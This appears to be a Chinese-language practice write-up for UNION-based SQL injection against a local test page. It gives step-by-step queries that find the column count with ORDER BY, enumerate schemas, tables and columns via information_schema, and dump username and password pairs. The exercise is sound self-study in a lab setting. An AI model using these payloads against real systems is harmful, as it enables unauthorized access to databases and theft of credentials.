练习7
Abstract: 先在数据库中使用UNION写SQL查出数据库版本,库,表,列等信息,再在index.php中操作一遍。
一、首先确定列数
1  | -- 先用order by根据是否报错确定列数  | 
OUT

由输出结果可知,共有五列。
二、读取数据
1. 确定库名
1  | SELECT * FROM users WHERE username='admin' UNION SELECT version(), (SELECT group_concat(schema_name) FROM information_schema.schemata), 3, 4, 5;  | 
OUT

2. 确定表名
1  | SELECT * FROM users WHERE username='admin' UNION SELECT 1, (select group_concat(table_name) FROM information_schema.tables WHERE table_schema='mynews'), 3, 4, 5 limit 1,1;  | 
OUT

1  | SELECT * FROM users WHERE username='admin' UNION SELECT 1, (select group_concat(table_name) FROM information_schema.tables WHERE table_schema='test'), 3, 4, 5 limit 1,1;  | 
OUT

对库进行一一查询,找到目标库
3. 列名
1  | SELECT * FROM users WHERE username='admin' UNION SELECT 1, (SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='content'), 3, 4, 5 limit 1,1;  | 
OUT

1  | SELECT * FROM users WHERE username='admin' UNION SELECT 1, (SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users'), 3, 4, 5 limit 1,1;  | 
可以看到有重复的字段,原因是昨天练习数据库导入时,对同一.sql文件导入不同的库,即不同库里存着名为users和content的表。加上限定条件即可。
1  | SELECT * FROM users WHERE username = 'admin' UNION SELECT 1,2,3,4,group_concat(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME='users' AND TABLE_SCHEMA='test';  | 
OUT

1  | SELECT * FROM users WHERE username='admin' UNION SELECT 1, (SELECT group_concat(username, passwd) FROM `test`.`content`), 3, 4,5;  | 
OUT

可以利用查到的库名表名字段名,查看对应的信息。
三、网页上练习
1. 环境
首先把index.php拷贝到工程文件中,用phpstorm打开文件,在Terminal输入
1  | php -S 127.0.0.1:9000  | 
在浏览器中打开网页http://127.0.0.1:9000/index.php
首页如下:

2. 前期工作
index.php显示程序如下:

可知,显示的读取数据的前三个。
在提交按钮输入
1  | SELECT * FROM `mysql`.`user` WHERE `user` = 'root' order by 49;  | 

1  | SELECT * FROM `mysql`.`user` WHERE `user` = 'root' order by 50;  | 

可知字段数为49。
3. 开始查询
- 查询库名
 
1  | SELECT * FROM `mysql`.`user` WHERE `user` = 'root' UNION SELECT version(), user(), (SELECT group_concat(schema_name) FROM information_schema.schemata),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49 LIMIT 1,1  | 

- 查询表名
 
1  | SELECT * FROM `mysql`.`user` WHERE `user` = 'root' UNION SELECT 1, 2, (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='test'),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49 LIMIT 1,1  | 

- 查询字段名
 
1  | SELECT * FROM `mysql`.`user` WHERE `user` = 'root' UNION SELECT 1, 2, (SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='content'),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49 LIMIT 1,1  | 

可以看出来有重复的字段名,这是因为两个不同库里均有content和users表。加上库名的限制就正常了。
1  | SELECT * FROM `mysql`.`user` WHERE `user` = 'root' UNION SELECT 1, 2, (SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='content' AND table_schema='test'),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49 LIMIT 1,1  | 

1  | SELECT * FROM `mysql`.`user` WHERE `user` = 'root' UNION SELECT 1, 2, (SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='user'),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49 LIMIT 1,1  | 
- 查询数据
 
1  | SELECT * FROM `mysql`.`user` WHERE `user` = 'root' UNION SELECT 1, 2, (SELECT concat_ws('~', author, title) FROM `test`.`content` LIMIT 0,1),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49 LIMIT 1,1  | 

1  | SELECT * FROM `mysql`.`user` WHERE `user` = 'root' UNION SELECT 1, 2, (SELECT group_concat(author, '~',title) FROM`test`.`content`),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49 LIMIT 1,1  | 

同理也可查出users数据
1  | SELECT * FROM `mysql`.`user` WHERE `user` = 'root' UNION SELECT 1, 2, (SELECT group_concat(username, '~', passwd) FROM `test`.`users`),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49 LIMIT 1,1  | 
